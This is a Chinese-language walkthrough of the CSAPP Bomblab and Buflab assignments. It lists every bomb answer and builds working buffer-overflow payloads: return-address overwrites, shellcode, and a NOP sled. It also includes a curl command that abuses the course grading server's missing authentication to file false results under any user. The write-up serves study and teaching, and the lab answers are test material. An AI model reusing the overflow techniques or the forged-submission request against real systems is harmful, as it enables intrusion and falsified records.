彙編語言程序設計

以CSAPP爲教材,其中兩個實驗是Bomblab和Bublab,把自己解決方式和使用到的工具、命令等記錄如下,竊以爲分析了一些網上找不到的內容,使用到的工具也是網上很難找到的。

Bomblab

行爲分析

initialize_bomb

在6個phase開始前執行,調用了signalSIGINT註冊了信號處理函數sig_handler:輸出“So you think you can stop the bomb with ctrl-c, do you”,sleep三秒後輸出“Well...”, sleep一秒後輸出“OK. :-)”。之後initialize_bomb調用init_driver:向15214端口發起連接,並立刻關閉寫端。

read_line

一行若大於等於78個字符就會產生錯誤。

phase_defused

每個任務成功後調用,會調用send_msg(0)

explode_bomb

任務失敗後調用,實際上會調用send_msg(1)。 服務端會發來爆炸信息,同時關閉之前15214端口監聽的socket。

submitr

向166.111.68.242:15214發送HTTP 1.0請求,數據中包含bomb編號,用戶編號和用戶提交的字符串以及炸彈是否爆炸等。範圍的字符是不允許發送的。

另外服務端未對userid做認證,導致可以提交錯誤的結果給任意用戶:

1
curl 'http://166.111.68.242:15214/csapp/submitr.pl/?userid=&lab=f12&result=xxx%3Aexploded%3A1%3Aa&submit=submit'

調試環境

可以每次運行時都用gdb打開,在explode_bomb處下斷點,但較爲麻煩。注意到bomb的行爲,可以把send_msg的第一個字節改爲ret指令,避免和服務器交互。

1
2
r2 -qwc 'wa ret @sym.send_msg; s sym.explode_bomb; \
"wa mov rax, 1; mov rbx, rax; int 0x80"' bomb

Phases

Phase 1

使用r2 -c af@sym.phase_1 -c pdf@sym.phase_1 bomb反彙編可以發現phase_1是一個取一個字符串參數的函數,把該字符串和某個.rodata段裏的字符串進行了比較,不相等則引爆炸彈。

% strings /tmp/bomb | grep Border
Border relations with Canada have never been better.

Phase 2

反彙編phase_2

% r2 -c af@sym.phase_2 -c pdf@sym.phase_2 bomb

研究read_six_numbers發現這個函數取一個字符串參數,用sscanf讀入了6個int。需要成立。

0, 1, 3, 6, 10, 15即可。

Phase 3

下面代碼實現了一個跳轉表的switch

[0x080488a0]> pi 4 @0x08048e23
cmp dword [ebp-0xc], 0x7
ja 0x8048e6b
mov eax, [ebp-0xc]
jmp dword [eax*4+0x804a054]

發現輸入爲2 896即可。

Phase 4

取兩個參數a, b的函數,0 <= a && a <= 14 && b == 7 && f(a, 0, 14) == 7f比較複雜,使用枚舉法:

for i in `seq 0 30`; do { (cat in; echo "$i 7") | ./good |& grep -q EOF && notify-send $i;} &; done

得到答案14 7

Phase 5

有一層循環複製參數字符串,根據r2 -c ’af@sym.phase_5; pdf@sym.phase_5’ bomb

...
|           0x08048d3c      c645e700         mov byte [ebp-0x19], 0x0
|           0x08048d40      c74424044da00408 mov dword [esp+0x4], str.oilers
|           0x08048d48      8d45e1           lea eax, [ebp-0x1f]
...

找到字符oilersarray_2952中的偏移,增加64轉換成大寫字母:

% r2 bomb
[0x080488a0]> px 16@sym.array.2952
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0804a074  6d61 6475 6965 7273 6e66 6f74 7662 796c  maduiersnfotvbyl
[0x080488a0]> !rax2 -S
oilers
6f696c6572730a
[0x080488a0]> !rax2 -S << 'oilers'

% xargs -n1 <<< '10 4 15 5 6 7' | perl -ane 'print chr($_+64)'
JDOEFG

Phase 6

讀入6個的互不相等的數,每個數表示單鏈表中的第幾個元素。需要找到一個下標序列,使得這個下標序列對應的單鏈表節點值是不升的。

% nm good G node
0804b5dc D node1
0804b5d0 D node2
0804b5c4 D node3
0804b5b8 D node4
0804b5ac D node5
0804b5a0 D node6

% r2 bomb
[0x0804b5a0]> e hex.cols=12
[0x0804b5a0]> s sym.node6
[0x0804b5a0]> pxw 72
0x0804b5a0  0x000003cf 0x00000006 0x00000000  ............
0x0804b5ac  0x00000213 0x00000005 0x0804b5a0  ............
0x0804b5b8  0x00000248 0x00000004 0x0804b5ac  H...........
0x0804b5c4  0x0000037b 0x00000003 0x0804b5b8  {...........
0x0804b5d0  0x00000099 0x00000002 0x0804b5c4  ............
0x0804b5dc  0x0000031a 0x00000001 0x0804b5d0  ............
[0x0804b5a0]>

其中第一行是node6,最後一行是node1,所以 node6 > node3 > node1 > node4 > node5 > node2, 需要填6 3 1 4 5 2

Secret Phase

觀察phase_defused的代碼可以發現有一個隱藏關卡secret_phase,如果第6關通過了,phase_defused會用sscanf解析0x804b9d0得到兩個數和一個字符串,這個字符串如果是“DrEvil”那麼就能進入隱藏關。

可以發現0x804b9d0對應輸入的第四行,而第四行本來就應該有兩個數,所以可以在後面添加一個字符串“DrEvil”,在第6關通過進入隱藏關。隱藏關是和二叉搜索樹相關的:

1
2
3
4
5
6
struct Node { int key; Node *l, *r; };

int fun7(Node *rt, int v)
{
return rt ? v < rt->key ? 2 * fun7(rt->l, v) : v > *rt ? 2 * fun7(rt->r, v) + 1 : 0 : -1;
}

只要從n1根節點出發,先往左走,再往右走即可。

[0x080488a0]> s sym.n1
[0x0804b690]> pxw  12
0x0804b690  0x00000024 0x0804b684 0x0804b678            $.......x...
[0x0804b690]> s sym.n1+4
[0x0804b694]> pxw 1
0x0804b694  0x0004b684                                .
[0x0804b694]> s sym.n1
[0x0804b690]> s sym.n1+4
[0x0804b694]> pxw 4
0x0804b694  0x0804b684                                ....
[0x0804b68c]> s 0x0804b684+8
[0x0804b68c]> pxw 4
0x0804b68c  0x0804b66c                                l...
[0x0804b68c]> pxw 4 @0x0804b66c
0x0804b66c  0x00000016                                ....
[0x0804b68c]> !rax2 0x16
22

輸入22。

最後的輸入文件是這樣的:

Border relations with Canada have never been better.
0 1 3 6 10 15
2 896
14 7 DrEvil
JDOEFG
6 3 1 4 5 2
22

Buflab

行爲分析

main

如果開啓了nitro mode(-n)則運行5次launcher,否則運行一次。

launcher

調用了下面函數允許用戶數據字符串的虛擬地址處可以執行代碼:

1
mmap(0x55586000, 1048576, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS|MAP_GROWSDOWN, 0, 0)

launch

接受兩個參數,分別表示nitro mode是否開啓和一個控制棧地址偏移的。調用alloca修改esp使得每次執行時棧地址相同。

validate

找到validate的虛擬地址:

[0x08048970]> ? $$ @sym.validate
134516900 0x80490a4 01001110244 128.0M 804000:00a4 134516900 10100100 134516900.0 0.000000

觀察validate的xref可以發現有5處:smoke(0x0804907a), fizz(0x0804902f), bang, test, testn,這5處validate分別以參數被調用。

Phases

smoke: validate(0)

smoke的代碼如下:

1
2
3
4
5
6
void smoke()
{
puts("Smoke!: You called smoke()");
validate(0);
exit(0);
}

非nitro mode下main會調用test,而後者會調用getbuf,讓getbuf返回時跳轉到smoke即可。getbuf的代碼如下:

1
2
3
4
5
6
int getbuf()
{
char a[52];
gets(a);
return 1;
}

提供的不含n串即可。注意如果要把結果提交到服務端,因爲會使用到submitr(和之前BombLab的相同),範圍的字符是不允許發送的。

1
2
(jot -s '' -b 00 56; echo -n 0804907a | tac -rs..; echo 0a) | \
xxd -r -p | ./bufbomb -u2011011269

fizz: validate(1)

1
2
3
4
5
6
7
8
9
void fizz(int a)
{
if (a == cookie) {
printf("Fizz!: You called fizz(0x%x), a);
validate(1);
} else
printf("Misfire: You called fizz(0x%x), a);
exit(0);
}

需要提供一個等於cookie的參數,偏移量爲返回地址+8,中間夾着的爲返回後的地址,但因爲fizz調用exit(0)退出了,這個返回地址用不到,可以任填:

1
2
(jot -s '' -b 00 56; echo -n 0804902f | tac -rs..; echo 12345678; \
echo -n 1328f63b | tac -rs..; echo 0a) | xxd -r -p | ./bufbomb -u2011011269

bang: validate(2)

1
2
3
4
5
6
7
8
9
void bang()
{
if (global_value == cookie) {
printf("Bang!: You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire: global_value = 0x%x\n", global_value);
exit(0);
}

getbuf返回到bang前需要先把global_value修改成cookie

可以讓輸入串最開頭爲一段shellcode修改global_valueret,補齊到56個字節,再填寫bang的入口地址。

% r2 bufbomb
[0x08048970]> fl sym.global_value
0x0804c1ec
[0x08048970]> fl sym.cookie
0x0804c1e4
[0x08048970]> 

% rasm2 'mov eax, 0804c1ech; mov ecx, 0804c1e4h; mov ecx, [ecx]; mov [eax], ecx; ret'
b8ecc10408b9e4c104088b098908c3

然後需要知道getbuf的緩衝區在棧上的地址:

% gdb -batch bufbomb -x =(echo 'b getbuf\nr -u2011011269\np/x $ebp-0x34')
Breakpoint 1 at 0x8048bda
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).

warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: 2011011269
Cookie: 0x1328f63b

Breakpoint 1, 0x08048bda in getbuf ()
$1 = 0x5568316c

然後先寫shellcode,pad後跟上輸入字符串的地址和bomb入口地址:

1
2
3
(rasm2 'mov eax, 0804c1ech; mov ecx, 0804c1e4h; mov ecx, [ecx]; mov [eax], ecx; ret'; \
jot -s '' -b 33 $[56-15]; echo -n 5568316c | tac -rs..; echo -n 08048fe2 | \
tac -rs..; echo 0a) | tr -d '\n' | xxd -r -p | ./bufbomb -u2011011269

test: validate(3)

之前每次在test調用完getbuf後就修改返回地址不回到test了,這次要繼續執行test的代碼。另外需要恢復ebp的值,在shellcode裏設置即可,另外也可以在覆蓋getbuf的返回地址時寫入ebp的正確值:

1
2
3
(rasm2 'mov eax, [0x0804c1e4]; mov ebp, 0x556831d0; push 0x08048c63; ret'; \
jot -s '' -b 33 $[56-17]; echo -n 5568316c | tac -rs..; echo 0a) | \
tr -d '\n' | xxd -r -p | ./bufbomb -u2011011269

testn: validate(4)

命令行選項-n進入,main會用0和四個由0x80 - random() & 0xf0生成的數調整testn入口處的esp。第一次調用testn時棧地址不變,之後四次調用testn棧地址調整量在之間變化,原因是calloc分配的堆上的數是隨機的。先獲取第一次調用testn裏的getbufn時的輸入緩衝區地址:

% gdb -batch bufbomb -x =(echo 'b getbufn\nr -u2011011269 -n\np/x $ebp-0x208')
Breakpoint 1 at 0x8048bbf
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).

warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
Userid: 2011011269
Cookie: 0x1328f63b

Breakpoint 1, 0x08048bbf in getbufn ()
$1 = 0x55682f98

之後調用得到的地址會在這個值基礎上增加。觀察發現使用lea ebp, [esp+028]可以恢復testnebp

% echo -e 'BITS 32\nmov eax, [0x0804c1e4]\nlea ebp, [esp+0x28]\npush 0x08048bfe\nret' > a.s
% nasm a.s
% xxd -p a
a1e4c104088d6c242868fe8b0408c3

在輸入串最開頭放上長爲(其實239即可)的NOP sled,之後跟上shellcode,然後再把長度pad成,接上輸入緩衝區中間位置的地址。由於要輸入5次,可以用sed復製成5份:

1
2
3
(jot -s '' -b 90 240; echo a1e4c104088d6c242868fe8b0408c3; \
jot -s '' -b 90 $[0x208+4-240-15]; printf %08x $[0x55682f98+0x80] | \
tac -rs..; echo 0a) | tr -d '\n' | sed 's/.*/&&&&&/' | xxd -r -p | ./bufbomb -u2011011268 -n

其他

工具

主要用到了尚在開發中的radare2,文檔很少,在使用過程中也發現了好幾個bug,但總而言之這是款神器。

BSD jot,用來產生重複的字符串。

coreutils,包括tac -rs..轉換大小端。

xxd,主要用-p產生plain hexdump,以及-r -p從plain hexdump轉換回去。

其他準備

一開始以爲要用些手段去掉ASLR的,可以設置personality,或者更簡單地,用setarch `arch` -R執行,另外還要去掉所有環境變量以防止棧地址受到影響:

1
2
3
4
5
6
7
8
9
10
#include <unistd.h>

char *argv[] = {"setarch", "i386", "-R", "stack", 0};
char *empty[] = {0};

int main()
{
execvpe("setarch", argv, empty);
return 1;
}

或者使用env -i setarch `arch` -R運行。